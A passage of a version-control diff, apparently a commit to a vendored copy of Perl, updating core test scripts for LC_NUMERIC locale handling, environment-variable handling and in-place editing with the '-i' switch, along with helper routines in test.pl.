-    use locale;
-    setlocale(LC_NUMERIC, $_) or next;
-    my $in = 4.2; # avoid any constant folding bugs
-    if ((my $s = sprintf("%g", $in)) eq "4.2")  {
-	$base ||= $_;
-    } else {
-	$different ||= $_;
-	$difference ||= $s;
-        my $radix = localeconv()->{decimal_point};
+    # try to find out a locale where LC_NUMERIC makes a difference
+    my $original_locale = setlocale(LC_NUMERIC);
 
-        # For utf8 locales with a non-ascii radix, it should be encoded as
-        # UTF-8 with the internal flag so set.
-        if (! defined $utf8_radix
-            && $radix =~ /[[:^ascii:]]/
-            && is_locale_utf8($_))
-        {
-            $utf8_radix = $_;
-            $radix_encoded_as_utf8 = utf8::is_utf8($radix);
+    my ($base, $different, $comma, $difference, $utf8_radix);
+    my $radix_encoded_as_utf8;
+    for ("C", @locales) { # prefer C for the base if available
+        use locale;
+        setlocale(LC_NUMERIC, $_) or next;
+        my $in = 4.2; # avoid any constant folding bugs
+        if ((my $s = sprintf("%g", $in)) eq "4.2")  {
+            $base ||= $_;
+        } else {
+            $different ||= $_;
+            $difference ||= $s;
+            my $radix = localeconv()->{decimal_point};
+
+            # For utf8 locales with a non-ascii radix, it should be encoded as
+            # UTF-8 with the internal flag so set.
+            if (! defined $utf8_radix
+                && $radix =~ /[[:^ascii:]]/u  # /u because /l can raise warnings
+                && is_locale_utf8($_))
+            {
+                $utf8_radix = $_;
+                $radix_encoded_as_utf8 = utf8::is_utf8($radix);
+            }
+            else {
+                $comma ||= $_ if $radix eq ',';
+            }
         }
-        else {
-            $comma ||= $_ if $radix eq ',';
-        }
+
+        last if $base && $different && $comma && $utf8_radix;
     }
+    setlocale(LC_NUMERIC, $original_locale);
 
-    last if $base && $different && $comma && $utf8_radix;
-}
-setlocale(LC_NUMERIC, $original_locale);
+    SKIP: {
+        skip("no UTF-8 locale available where LC_NUMERIC radix isn't ASCII", 1 )
+            unless $utf8_radix;
+        ok($radix_encoded_as_utf8 == 1, "UTF-8 locale '$utf8_radix' with non-ASCII"
+                                        . " radix is marked UTF-8");
+    }
 
-SKIP: {
-    skip("no UTF-8 locale available where LC_NUMERIC radix isn't ASCII", 1 )
-        unless $utf8_radix;
-    ok($radix_encoded_as_utf8 == 1, "UTF-8 locale '$utf8_radix' with non-ASCII"
-                                    . " radix is marked UTF-8");
-}
+    if ($different) {
+        note("using the '$different' locale for LC_NUMERIC tests");
+        {
+            local $ENV{LC_NUMERIC} = $different;
 
-SKIP: {
-    skip("no locale available where LC_NUMERIC makes a difference", &last - 7 )
-	if !$different;     # -7 is 5 tests before this block; 2 after
-    note("using the '$different' locale for LC_NUMERIC tests");
-    {
-	local $ENV{LC_NUMERIC} = $different;
-
-	fresh_perl_is(<<'EOF', "4.2", {},
-format STDOUT =
+            fresh_perl_is(<<'EOF', "4.2", { eval $switches },
+    format STDOUT =
 @.#
 4.179
 .
-write;
+    write;
 EOF
-	    "format() does not look at LC_NUMERIC without 'use locale'");
+                "format() does not look at LC_NUMERIC without 'use locale'");
 
-        {
-	    fresh_perl_is(<<'EOF', "$difference\n", {},
-use POSIX;
-use locale;
-format STDOUT =
+    {
+    fresh_perl_is(<<'EOF', "$difference\n", { eval $switches },
+    use POSIX;
+    use locale;
+    format STDOUT =
 @.#
 4.179
 .
-write;
+    write;
 EOF
-	    "format() looks at LC_NUMERIC with 'use locale'");
-        }
+                "format() looks at LC_NUMERIC with 'use locale'");
+            }
 
-        {
-	    fresh_perl_is(<<'EOF', ",,", {},
-print localeconv()->{decimal_point};
-use POSIX;
-use locale;
-print localeconv()->{decimal_point};
+            {
+                fresh_perl_is(<<'EOF', ",,", { eval $switches },
+    use POSIX;
+    no warnings "utf8";
+    print localeconv()->{decimal_point};
+    use locale;
+    print localeconv()->{decimal_point};
 EOF
-	    "localeconv() looks at LC_NUMERIC with and without 'use locale'");
-        }
+                "localeconv() looks at LC_NUMERIC with and without 'use locale'");
+            }
 
-        {
-            my $categories = ":collate :characters :collate :ctype :monetary :time";
-            fresh_perl_is(<<"EOF", "4.2", {},
-use locale qw($categories);
-format STDOUT =
+            {
+                my $categories = ":collate :characters :collate :ctype :monetary :time";
+                fresh_perl_is(<<"EOF", "4.2", { eval $switches },
+    use locale qw($categories);
+    format STDOUT =
 @.#
 4.179
 .
-write;
+    write;
 EOF
-	    "format() does not look at LC_NUMERIC with 'use locale qw($categories)'");
-        }
+                "format() does not look at LC_NUMERIC with 'use locale qw($categories)'");
+            }
 
-        {
-	    fresh_perl_is(<<'EOF', $difference, {},
-use locale;
-format STDOUT =
+            {
+                fresh_perl_is(<<'EOF', $difference, { eval $switches },
+    use locale;
+    format STDOUT =
 @.#
 4.179
 .
-write;
+    write;
 EOF
-	    "format() looks at LC_NUMERIC with 'use locale'");
-        }
+                "format() looks at LC_NUMERIC with 'use locale'");
+            }
 
-        for my $category (qw(collate characters collate ctype monetary time)) {
-            for my $negation ("!", "not_") {
-                fresh_perl_is(<<"EOF", $difference, {},
-use locale ":$negation$category";
+            for my $category (qw(collate characters collate ctype monetary time)) {
+                for my $negation ("!", "not_") {
+                    fresh_perl_is(<<"EOF", $difference, { eval $switches },
+    use locale ":$negation$category";
 format STDOUT =
 @.#
 4.179
 .
-write;
+    write;
 EOF
-                "format() looks at LC_NUMERIC with 'use locale \":"
-                . "$negation$category\"'");
+                    "format() looks at LC_NUMERIC with 'use locale \":"
+                    . "$negation$category\"'");
+                }
             }
-        }
 
-        {
-	    fresh_perl_is(<<'EOF', $difference, {},
-use locale ":numeric";
+            {
+                fresh_perl_is(<<'EOF', $difference, { eval $switches },
+    use locale ":numeric";
 format STDOUT =
 @.#
 4.179
 .
-write;
+    write;
 EOF
-	    "format() looks at LC_NUMERIC with 'use locale \":numeric\"'");
-        }
+                "format() looks at LC_NUMERIC with 'use locale \":numeric\"'");
+            }
 
-        {
-	    fresh_perl_is(<<'EOF', "4.2", {},
+            {
+                fresh_perl_is(<<'EOF', "4.2", { eval $switches },
 format STDOUT =
 @.#
 4.179
 .
-{ use locale; write; }
+    { use locale; write; }
 EOF
-	    "too late to look at the locale at write() time");
-        }
+                "too late to look at the locale at write() time");
+            }
 
-        {
-	    fresh_perl_is(<<'EOF', $difference, {},
-use locale;
-format STDOUT =
+            {
+                fresh_perl_is(<<'EOF', $difference, { eval $switches },
+    use locale;
+    format STDOUT =
 @.#
 4.179
 .
-{ no locale; write; }
+    { no locale; write; }
 EOF
-	    "too late to ignore the locale at write() time");
+                "too late to ignore the locale at write() time");
+            }
         }
-    }
 
-    {
-        # do not let "use 5.000" affect the locale!
-        # this test is to prevent regression of [rt.perl.org #105784]
-        fresh_perl_is(<<"EOF",
-            use locale;
-            use POSIX;
-            my \$i = 0.123;
-            POSIX::setlocale(POSIX::LC_NUMERIC(),"$different");
-            \$a = sprintf("%.2f", \$i);
-            require version;
-            \$b = sprintf("%.2f", \$i);
-            print ".\$a \$b" unless \$a eq \$b
+        {
+            # do not let "use 5.000" affect the locale!
+            # this test is to prevent regression of [rt.perl.org #105784]
+            fresh_perl_is(<<"EOF",
+                use locale;
+                use POSIX;
+                my \$i = 0.123;
+                POSIX::setlocale(POSIX::LC_NUMERIC(),"$different");
+                \$a = sprintf("%.2f", \$i);
+                require version;
+                \$b = sprintf("%.2f", \$i);
+                no warnings "utf8";
+                print ".\$a \$b" unless \$a eq \$b
 EOF
-            "", {}, "version does not clobber version");
+                "", { eval $switches }, "version does not clobber version");
 
-        fresh_perl_is(<<"EOF",
-            use locale;
-            use POSIX;
-            my \$i = 0.123;
-            POSIX::setlocale(POSIX::LC_NUMERIC(),"$different");
-            \$a = sprintf("%.2f", \$i);
-            eval "use v5.0.0";
-            \$b = sprintf("%.2f", \$i);
-            print "\$a \$b" unless \$a eq \$b
+            fresh_perl_is(<<"EOF",
+                use locale;
+                use POSIX;
+                my \$i = 0.123;
+                POSIX::setlocale(POSIX::LC_NUMERIC(),"$different");
+                \$a = sprintf("%.2f", \$i);
+                eval "use v5.0.0";
+                \$b = sprintf("%.2f", \$i);
+                no warnings "utf8";
+                print "\$a \$b" unless \$a eq \$b
 EOF
-            "", {}, "version does not clobber version (via eval)");
-    }
+                "", { eval $switches }, "version does not clobber version (via eval)");
+        }
 
-    {
-	local $ENV{LC_NUMERIC} = $different;
-	fresh_perl_is(<<'EOF', "$difference "x4, {},
-            use locale;
-	    use POSIX qw(locale_h);
-	    my $in = 4.2;
-	    printf("%g %g %s %s ", $in, 4.2, sprintf("%g", $in), sprintf("%g", 4.2));
+        {
+            local $ENV{LC_NUMERIC} = $different;
+            fresh_perl_is(<<'EOF', "$difference "x4, { eval $switches },
+                use locale;
+                use POSIX qw(locale_h);
+                my $in = 4.2;
+                printf("%g %g %s %s ", $in, 4.2, sprintf("%g", $in), sprintf("%g", 4.2));
 EOF
-	"sprintf() and printf() look at LC_NUMERIC regardless of constant folding");
-    }
+            "sprintf() and printf() look at LC_NUMERIC regardless of constant folding");
+        }
 
-    {
-	local $ENV{LC_NUMERIC} = $different;
-	fresh_perl_is(<<'EOF', "$difference "x4, {},
-            use locale;
-	    use POSIX qw(locale_h);
-	    my $in = 4.2;
-	    printf("%g %g %s %s ", $in, 4.2, sprintf("%g", $in), sprintf("%g", 4.2));
+        {
+            local $ENV{LC_NUMERIC} = $different;
+            fresh_perl_is(<<'EOF', "$difference "x4, { eval $switches },
+                use locale;
+                use POSIX qw(locale_h);
+                my $in = 4.2;
+                printf("%g %g %s %s ", $in, 4.2, sprintf("%g", $in), sprintf("%g", 4.2));
 EOF
-	"Uses the above test to verify that on Windows the system default locale has lower priority than LC_NUMERIC");
-    }
+            "Uses the above test to verify that on Windows the system default locale has lower priority than LC_NUMERIC");
+        }
 
 
-    # within this block, STDERR is closed. This is because fresh_perl_is()
-    # forks a shell, and some shells (like bash) can complain noisily when
-    # LC_ALL or similar is set to an invalid value
+        # within this block, STDERR is closed. This is because fresh_perl_is()
+        # forks a shell, and some shells (like bash) can complain noisily when
+        # LC_ALL or similar is set to an invalid value
 
-    {
-        open my $saved_stderr, ">&STDERR" or die "Can't dup STDERR: $!";
-        close STDERR;
-
         {
-            local $ENV{LC_ALL} = "invalid";
-            local $ENV{LC_NUMERIC} = "invalid";
-            local $ENV{LANG} = $different;
-            local $ENV{PERL_BADLANG} = 0;
+            open my $saved_stderr, ">&STDERR" or die "Can't dup STDERR: $!";
+            close STDERR;
 
-            if (! fresh_perl_is(<<"EOF", "$difference", { },
-                if (\$ENV{LC_ALL} ne "invalid") {
-                    # Make the test pass if the sh didn't accept the ENV set
-                    print "$difference\n";
-                    exit 0;
-                }
-                use locale;
-                use POSIX qw(locale_h);
-                my \$in = 4.2;
-                printf("%g", \$in);
-EOF
-            "LANG is used if LC_ALL, LC_NUMERIC are invalid"))
-           {
-              note "To see details change this .t, do not close STDERR";
-           }
-        }
-
-        SKIP: {
-            if ($^O eq 'MSWin32') {
-                skip("Win32 uses system default locale in preference to \"C\"",
-                        1);
-            }
-            else {
+            {
                 local $ENV{LC_ALL} = "invalid";
                 local $ENV{LC_NUMERIC} = "invalid";
-                local $ENV{LANG} = "invalid";
+                local $ENV{LANG} = $different;
                 local $ENV{PERL_BADLANG} = 0;
 
-                if (! fresh_perl_is(<<"EOF", 4.2, { },
+                if (! fresh_perl_is(<<"EOF", "$difference", { eval $switches  },
                     if (\$ENV{LC_ALL} ne "invalid") {
+                        # Make the test pass if the sh didn't accept the ENV set
+                        no warnings "utf8";
                         print "$difference\n";
                         exit 0;
                     }
@@ -335,99 +357,141 @@
                     my \$in = 4.2;
                     printf("%g", \$in);
 EOF
-                'C locale is used if LC_ALL, LC_NUMERIC, LANG are invalid'))
-                {
-                    note "To see details change this .t, do not close STDERR";
+                "LANG is used if LC_ALL, LC_NUMERIC are invalid"))
+            {
+                note "To see details change this .t, do not close STDERR";
+            }
+            }
+
+            SKIP: {
+                if ($^O eq 'MSWin32') {
+                    skip("Win32 uses system default locale in preference to \"C\"",
+                            1);
                 }
+                else {
+                    local $ENV{LC_ALL} = "invalid";
+                    local $ENV{LC_NUMERIC} = "invalid";
+                    local $ENV{LANG} = "invalid";
+                    local $ENV{PERL_BADLANG} = 0;
+
+                    if (! fresh_perl_is(<<"EOF", 4.2, { eval $switches  },
+                        if (\$ENV{LC_ALL} ne "invalid") {
+                            no warnings "utf8";
+                            print "$difference\n";
+                            exit 0;
+                        }
+                        use locale;
+                        use POSIX qw(locale_h);
+                        my \$in = 4.2;
+                        printf("%g", \$in);
+EOF
+                    'C locale is used if LC_ALL, LC_NUMERIC, LANG are invalid'))
+                    {
+                        note "To see details change this .t, do not close STDERR";
+                    }
+                }
             }
+
+        open STDERR, ">&", $saved_stderr or die "Can't dup \$saved_stderr: $!";
         }
 
-    open STDERR, ">&", $saved_stderr or die "Can't dup \$saved_stderr: $!";
-    }
+        {
+            local $ENV{LC_NUMERIC} = $different;
+            fresh_perl_is(<<"EOF",
+                use POSIX qw(locale_h);
 
-    {
-	local $ENV{LC_NUMERIC} = $different;
-	fresh_perl_is(<<"EOF",
-	    use POSIX qw(locale_h);
+                BEGIN { setlocale(LC_NUMERIC, \"$different\"); };
+                setlocale(LC_ALL, "C");
+                use 5.008;
+                print setlocale(LC_NUMERIC);
+EOF
+            "C", { stderr => 'devnull' },
+            "No compile error on v-strings when setting the locale to non-dot radix at compile time when default environment has non-dot radix");
+        }
 
-            BEGIN { setlocale(LC_NUMERIC, \"$different\"); };
-            setlocale(LC_ALL, "C");
-            use 5.008;
-            print setlocale(LC_NUMERIC);
+        unless ($comma) {
+            skip("no locale available where LC_NUMERIC is a comma", 3);
+        }
+        else {
+
+            fresh_perl_is(<<"EOF",
+                my \$i = 1.5;
+                {
+                    use locale;
+                    use POSIX;
+                    POSIX::setlocale(POSIX::LC_NUMERIC(),"$comma");
+                    print \$i, "\n";
+                }
+                print \$i, "\n";
 EOF
-	 "C", { stderr => 'devnull' },
-         "No compile error on v-strings when setting the locale to non-dot radix at compile time when default environment has non-dot radix");
-    }
+                "1,5\n1.5", { stderr => 'devnull' }, "Radix print properly in locale scope, and without");
 
-    unless ($comma) {
-        skip("no locale available where LC_NUMERIC is a comma", 3);
-    }
-    else {
-
-        fresh_perl_is(<<"EOF",
-            my \$i = 1.5;
-            {
+            fresh_perl_is(<<"EOF",
+                my \$i = 1.5;   # Should be exactly representable as a base 2
+                                # fraction, so can use 'eq' below
                 use locale;
                 use POSIX;
                 POSIX::setlocale(POSIX::LC_NUMERIC(),"$comma");
                 print \$i, "\n";
-            }
-            print \$i, "\n";
+                \$i += 1;
+                print \$i, "\n";
 EOF
-            "1,5\n1.5", { stderr => 'devnull' }, "Radix print properly in locale scope, and without");
+                "1,5\n2,5", { stderr => 'devnull' }, "Can do math when radix is a comma"); # [perl 115800]
 
-        fresh_perl_is(<<"EOF",
-            my \$i = 1.5;   # Should be exactly representable as a base 2
-                            # fraction, so can use 'eq' below
-            use locale;
-            use POSIX;
-            POSIX::setlocale(POSIX::LC_NUMERIC(),"$comma");
-            print \$i, "\n";
-            \$i += 1;
-            print \$i, "\n";
+            unless ($have_strtod) {
+                skip("no strtod()", 1);
+            }
+            else {
+                fresh_perl_is(<<"EOF",
+                    use POSIX;
+                    POSIX::setlocale(POSIX::LC_NUMERIC(),"$comma");
+                    my \$one_point_5 = POSIX::strtod("1,5");
+                    \$one_point_5 =~ s/0+\$//;  # Remove any trailing zeros
+                    print \$one_point_5, "\n";
 EOF
-            "1,5\n2,5", { stderr => 'devnull' }, "Can do math when radix is a comma"); # [perl 115800]
-
-        unless ($have_strtod) {
-            skip("no strtod()", 1);
+                "1.5", { stderr => 'devnull' }, "POSIX::strtod() uses underlying locale");
+            }
         }
-        else {
-            fresh_perl_is(<<"EOF",
-                use POSIX;
-                POSIX::setlocale(POSIX::LC_NUMERIC(),"$comma");
-                my \$one_point_5 = POSIX::strtod("1,5");
-                \$one_point_5 =~ s/0+\$//;  # Remove any trailing zeros
-                print \$one_point_5, "\n";
-EOF
-            "1.5", { stderr => 'devnull' }, "POSIX::strtod() uses underlying locale");
-        }
     }
-} # SKIP
 
     {
-        fresh_perl_is(<<"EOF",
+        my @valid_categories = valid_locale_categories();
+
+        my $valid_string = "";
+        my $invalid_string = "";
+
+        # Deliberately don't include all categories, so as to test this situation
+        for my $i (0 .. @valid_categories - 2) {
+            my $category = $valid_categories[$i];
+            if ($category ne "LC_ALL") {
+                $invalid_string .= ";" if $invalid_string ne "";
+                $invalid_string .= "$category=foo_BAR";
+
+                next unless $non_C_locale;
+                $valid_string .= ";" if $valid_string ne "";
+                $valid_string .= "$category=$non_C_locale";
+            }
+        }
+
+        fresh_perl(<<"EOF",
                 use locale;
                 use POSIX;
-                POSIX::setlocale(POSIX::LC_CTYPE(),"C");
-                print "h" =~ /[g\\w]/i || 0;
-                print "\\n";
+                POSIX::setlocale(LC_ALL, "$invalid_string");
 EOF
-            1, { stderr => 'devnull' }, "/il matching of [bracketed] doesn't skip POSIX class if fails individ char");
-    }
+            {});
+        is ($?, 0, "In setting complicated invalid LC_ALL, final individ category doesn't need a \';'");
 
-    {
-        fresh_perl_is(<<"EOF",
+        skip("no non-C locale available", 1 ) unless $non_C_locale;
+        fresh_perl(<<"EOF",
                 use locale;
                 use POSIX;
-                POSIX::setlocale(POSIX::LC_CTYPE(),"C");
-                print "0" =~ /[\\d[:punct:]]/l || 0;
-                print "\\n";
+                POSIX::setlocale(LC_ALL, "$valid_string");
 EOF
-            1, { stderr => 'devnull' }, "/l matching of [bracketed] doesn't skip non-first POSIX class");
+            {});
+        is ($?, 0, "In setting complicated valid LC_ALL, final individ category doesn't need a \';'");
 
     }
 
-# IMPORTANT: When adding tests before the following line, be sure to update
-# its skip count:
-#       skip("no locale available where LC_NUMERIC makes a difference", ...)
-sub last { 37 }
+}
+
+done_testing();

Modified: vendor/perl/dist/t/run/runenv.t
===================================================================
--- vendor/perl/dist/t/run/runenv.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/run/runenv.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -140,18 +140,18 @@
     "ok",
     "");
 
-open my $fh, ">", "Oooof.pm" or die "Can't write Oooof.pm: $!";
-print $fh "package Oooof; 1;\n";
+open my $fh, ">", "tmpOooof.pm" or die "Can't write tmpOooof.pm: $!";
+print $fh "package tmpOooof; 1;\n";
 close $fh;
-END { 1 while unlink "Oooof.pm" }
+END { 1 while unlink "tmpOooof.pm" }
 
-try({PERL5OPT => '-I. -MOooof'}, 
-    ['-e', 'print "ok" if $INC{"Oooof.pm"} eq "Oooof.pm"'],
+try({PERL5OPT => '-I. -MtmpOooof'}, 
+    ['-e', 'print "ok" if $INC{"tmpOooof.pm"} eq "tmpOooof.pm"'],
     "ok",
     "");
 
-try({PERL5OPT => '-I./ -MOooof'}, 
-    ['-e', 'print "ok" if $INC{"Oooof.pm"} eq "Oooof.pm"'],
+try({PERL5OPT => '-I./ -MtmpOooof'}, 
+    ['-e', 'print "ok" if $INC{"tmpOooof.pm"} eq "tmpOooof.pm"'],
     "ok",
     "");
 

Modified: vendor/perl/dist/t/run/switches.t
===================================================================
--- vendor/perl/dist/t/run/switches.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/run/switches.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,7 +12,7 @@
 
 BEGIN { require "./test.pl";  require "./loc_tools.pl"; }
 
-plan(tests => 115);
+plan(tests => 137);
 
 use Config;
 
@@ -294,8 +294,8 @@
 
 {
     local $TODO = '';   # these ones should work on VMS
-    # there are definitely known build configs where this test will fail
-    # DG/UX comes to mind. Maybe we should remove these special cases?
+    # There may be build configs where this test will fail; DG/UX was one,
+    # but we no longer support it. Maybe we should remove these special cases?
   SKIP:
     {
         skip "Win32 miniperl produces a default archname in -v", 1
@@ -349,28 +349,30 @@
 
 # Tests for -i
 
+SKIP:
 {
     local $TODO = '';   # these ones should work on VMS
 
-    sub do_i_unlink { unlink_all("file", "file.bak") }
+    sub do_i_unlink { unlink_all("tmpswitches", "tmpswitches.bak") }
 
-    open(FILE, ">file") or die "$0: Failed to create 'file': $!";
-    print FILE <<__EOF__;
+    open(FILE, ">tmpswitches") or die "$0: Failed to create 'tmpswitches': $!";
+    my $yada = <<__EOF__;
 foo yada dada
 bada foo bing
 king kong foo
 __EOF__
+    print FILE $yada;
     close FILE;
 
     END { do_i_unlink() }
 
-    runperl( switches => ['-pi.bak'], prog => 's/foo/bar/', args => ['file'] );
+    runperl( switches => ['-pi.bak'], prog => 's/foo/bar/', args => ['tmpswitches'] );
 
-    open(FILE, "file") or die "$0: Failed to open 'file': $!";
+    open(FILE, "tmpswitches") or die "$0: Failed to open 'tmpswitches': $!";
     chomp(my @file = <FILE>);
     close FILE;
 
-    open(BAK, "file.bak") or die "$0: Failed to open 'file': $!";
+    open(BAK, "tmpswitches.bak") or die "$0: Failed to open 'tmpswitches.bak': $!";
     chomp(my @bak = <BAK>);
     close BAK;
 
@@ -397,11 +399,260 @@
         prog     => 'exit',
         stderr   => 1,
         stdin    => "1\n",
-        args     => ['file'],
+        args     => ['tmpswitches'],
     );
     is($out2, "", "no warning when files given");
+
+    open my $f, ">", "tmpswitches" or die "$0: failed to create 'tmpswitches': $!";
+    print $f "foo\nbar\n";
+    close $f;
+
+    # a backup extension is no longer required on any platform
+    my $out3 = runperl(
+        switches => [ '-i', '-p' ],
+        prog => 's/foo/quux/',
+        stderr => 1,
+        args => [ 'tmpswitches' ],
+    );
+    is($out3, "", "no warnings/errors without backup extension");
+    open $f, "<", "tmpswitches" or die "$0: cannot open 'tmpswitches': $!";
+    chomp(my @out4 = <$f>);
+    close $f;
+    is(join(":", @out4), "quux:bar", "correct output without backup extension");
+
+    eval { require File::Spec; 1 }
+      or skip "Cannot load File::Spec - miniperl?", 20;
+
+    -d "tmpinplace" or mkdir("tmpinplace")
+      or die "Cannot mkdir 'tmpinplace': $!";
+    my $work = File::Spec->catfile("tmpinplace", "foo");
+
+    # exit or die should leave original content in file
+    for my $inplace (qw/-i -i.bak/) {
+        for my $prog (qw/die exit/) {
+            open my $fh, ">", $work or die "$0: failed to open '$work': $!";
+            print $fh $yada;
+            close $fh or die "Failed to close: $!";
+            my $out = runperl (
+               switches => [ $inplace, '-n' ],
+               prog => "print q(foo\n); $prog",
+               stderr => 1,
+               args => [ $work ],
+            );
+            open my $in, "<", $work or die "$0: failed to open '$work': $!";
+            my $data = do { local $/; <$in> };
+            close $in;
+            is ($data, $yada, "check original content still in file");
+            unlink $work;
+        }
+    }
+
+    # test that path parsing is correct
+    open $f, ">", $work or die "Cannot create $work: $!";
+    print $f "foo\nbar\n";
+    close $f;
+
+    my $out4 = runperl
+      (
+       switches => [ "-i", "-p" ],
+       prog => 's/foo/bar/',
+       stderr => 1,
+       args => [ $work ],
+      );
+    is ($out4, "", "no errors or warnings");
+    open $f, "<", $work or die "Cannot open $work: $!";
+    chomp(my @file4 = <$f>);
+    close $f;
+    is(join(":", @file4), "bar:bar", "check output");
+
+  SKIP:
+    {
+        # this needs to match how ARGV_USE_ATFUNCTIONS is defined in doio.c
+        skip "Not enough *at functions", 3
+          unless $Config{d_unlinkat} && $Config{d_renameat} && $Config{d_fchmodat}
+              && ($Config{d_dirfd} || $Config{d_dir_dd_fd})
+              && $Config{d_linkat}
+              && $Config{ccflags} !~ /-DNO_USE_ATFUNCTIONS\b/;
+        my ($osvers) = ($Config{osvers} =~ /^(\d+(?:\.\d+)?)/);
+        skip "NetBSD 6 libc defines at functions, but they're incomplete", 3
+            if $^O eq "netbsd" && $osvers < 7;
+        fresh_perl_is(<<'CODE', "ok\n", { },
+ at ARGV = ("tmpinplace/foo");
+$^I = "";
+while (<>) {
+  chdir "..";
+  print "xx\n";
 }
+print "ok\n";
+CODE
+                       "chdir while in-place editing");
+        ok(open(my $fh, "<", $work), "open out file");
+        is(scalar <$fh>, "xx\n", "file successfully saved after chdir");
+        close $fh;
+    }
 
+  SKIP:
+    {
+        skip "Need threads and full perl", 3
+          if !$Config{useithreads} || is_miniperl();
+        fresh_perl_is(<<'CODE', "ok\n", { stderr => 1 },
+use threads;
+use strict;
+ at ARGV = ("tmpinplace/foo");
+$^I = "";
+while (<>) {
+  threads->create(sub { })->join;
+  print "yy\n";
+}
+print "ok\n";
+CODE
+                      "threads while in-place editing");
+        ok(open(my $fh, "<", $work), "open out file");
+        is(scalar <$fh>, "yy\n", "file successfully saved after chdir");
+        close $fh;
+    }
+
+  SKIP:
+    {
+        skip "Need fork", 3 if !$Config{d_fork};
+        open my $fh, ">", $work
+          or die "Cannot open $work: $!";
+        # we want only a single line for this test, otherwise
+        # it attempts to close the file twice
+        print $fh "foo\n";
+        close $fh or die "Cannot close $work: $!";
+        fresh_perl_is(<<'CODE', "ok\n", { stderr => 1 },
+use strict;
+ at ARGV = ("tmpinplace/foo");
+$^I = "";
+while (<>) {
+  my $pid = fork;
+  if (defined $pid && !$pid) {
+     # child
+     close ARGVOUT or die "Cannot close in child\n"; # this shouldn't do ARGVOUT magic
+     exit 0;
+  }
+  wait;
+  print "yy\n";
+  close ARGVOUT or die "Cannot close in parent\n"; # this should
+}
+print "ok\n";
+CODE
+                      "fork while in-place editing");
+        ok(open($fh, "<", $work), "open out file");
+        is(scalar <$fh>, "yy\n", "file successfully saved after fork");
+        close $fh;
+    }
+
+    {
+        # test we handle the rename to the backup failing
+        if ($^O eq 'VMS') {
+            # make it fail by creating a .bak file with a version than which no higher can be created
+            # can't make a directory because foo.bak and foo^.bak.DIR do not conflict.
+            open my $fh, '>', "$work.bak;32767" or die "Cannot make mask backup file: $!";
+            close $fh or die "Failed to close: $!";
+        }
+        else {
+            # make it fail by creating a directory of the backup name
+            mkdir "$work.bak" or die "Cannot make mask backup directory: $!";
+        }
+        fresh_perl_like(<<'CODE', qr/Can't rename/, { stderr => 1 }, "fail backup rename");
+ at ARGV = ("tmpinplace/foo");
+$^I = ".bak";
+while (<>) {
+  print;
+}
+print "ok\n";
+CODE
+        if ($^O eq 'VMS') {
+            1 while unlink "$work.bak";
+        }
+        else {
+            rmdir "$work.bak" or die "Cannot remove mask backup directory: $!";
+        }
+    }
+
+    {
+        # test with absolute paths, this was failing on FreeBSD 11ish due
+        # to a bug in renameat()
+        my $abs_work = File::Spec->rel2abs($work);
+        fresh_perl_is(<<'CODE', "",
+while (<>) {
+  print;
+}
+CODE
+                      { stderr => 1, args => [ $abs_work ], switches => [ "-i" ] },
+                      "abs paths");
+    }
+
+    # we now use temp files for in-place editing, make sure we didn't leave
+    # any behind in the above test
+    opendir my $d, "tmpinplace" or die "Cannot opendir tmpinplace: $!";
+    my @names = grep !/^\.\.?$/ && $_ ne 'foo' && $_ ne 'foo.', readdir $d;
+    closedir $d;
+    is(scalar(@names), 0, "no extra files")
+      or diag "Found @names, expected none";
+
+    # the following tests might leave work files behind
+
+    # this test can leave the work file in the directory, since making
+    # the directory non-writable also prevents removing the work file
+  SKIP:
+    {
+        # test we handle the rename of the work to the original failing
+        # make it fail by removing write perms from the directory
+        # but first check that doesn't prevent writing
+        chmod 0500, "tmpinplace";
+        my $check = File::Spec->catfile("tmpinplace", "check");
+        my $canwrite = open my $fh, ">", $check;
+        unlink $check;
+        chmod 0700, "tmpinplace" or die "Cannot make tmpinplace writable again: $!";
+        skip "Cannot make tmpinplace read only", 1
+          if $canwrite;
+        fresh_perl_like(<<'CODE', qr/failed to rename/, { stderr => 1 }, "fail final rename");
+ at ARGV = ("tmpinplace/foo");
+$^I = "";
+while (<>) {
+  chmod 0500, "tmpinplace";
+  print;
+}
+print "ok\n";
+CODE
+        chmod 0700, "tmpinplace" or die "Cannot make tmpinplace writable again: $!";
+    }
+
+  SKIP:
+    {
+        # this needs to reverse match how ARGV_USE_ATFUNCTIONS is defined in doio.c
+        skip "Testing without *at functions", 1
+          if $Config{d_unlinkat} && $Config{d_renameat} && $Config{d_fchmodat}
+              && ($Config{d_dirfd} || $Config{d_dir_dd_fd})
+              && $Config{d_linkat}
+              && $Config{ccflags} !~ /-DNO_USE_ATFUNCTIONS\b/;
+        fresh_perl_like(<<'CODE', qr/^Cannot complete in-place edit of tmpinplace\/foo: .* - line 5, <> line \d+\./, { },
+ at ARGV = ("tmpinplace/foo");
+$^I = "";
+while (<>) {
+  chdir "..";
+  print "xx\n";
+}
+print "ok\n";
+CODE
+                       "chdir while in-place editing (no at-functions)");
+    }
+
+    unlink $work;
+
+    opendir $d, "tmpinplace" or die "Cannot opendir tmpinplace: $!";
+    @names = grep !/^\.\.?$/ && !/foo$/aai, readdir $d;
+    closedir $d;
+
+    # clean up in case the above failed
+    unlink map File::Spec->catfile("tmpinplace", $_), @names;
+
+    rmdir "tmpinplace";
+}
+
 # Tests for -E
 
 $TODO = '';  # the -E tests work on VMS

Modified: vendor/perl/dist/t/test.pl
===================================================================
--- vendor/perl/dist/t/test.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/test.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -212,6 +212,9 @@
     } else {
 	$reason = 'not being run from a git checkout';
     }
+    if ($ENV{'PERL_BUILD_PACKAGING'}) {
+	$reason = 'PERL_BUILD_PACKAGING is set';
+    }
     skip_all($reason) if $_[0] && $_[0] eq 'all';
     skip($reason, @_);
 }
@@ -860,7 +863,7 @@
 	if( -f $file ){
 	    _print_stderr "# Couldn't unlink '$file': $!\n";
 	}else{
-	    ++$count;
+	    $count = $count + 1; # don't use ++
 	}
     }
     $count;
@@ -914,7 +917,7 @@
 my $tempfile_count = 0;
 sub tempfile {
     while(1){
-	my $try = "tmp$$";
+	my $try = (-d "t" ? "t/" : "")."tmp$$";
         my $alpha = _num_to_alpha($tempfile_count,2);
         last unless defined $alpha;
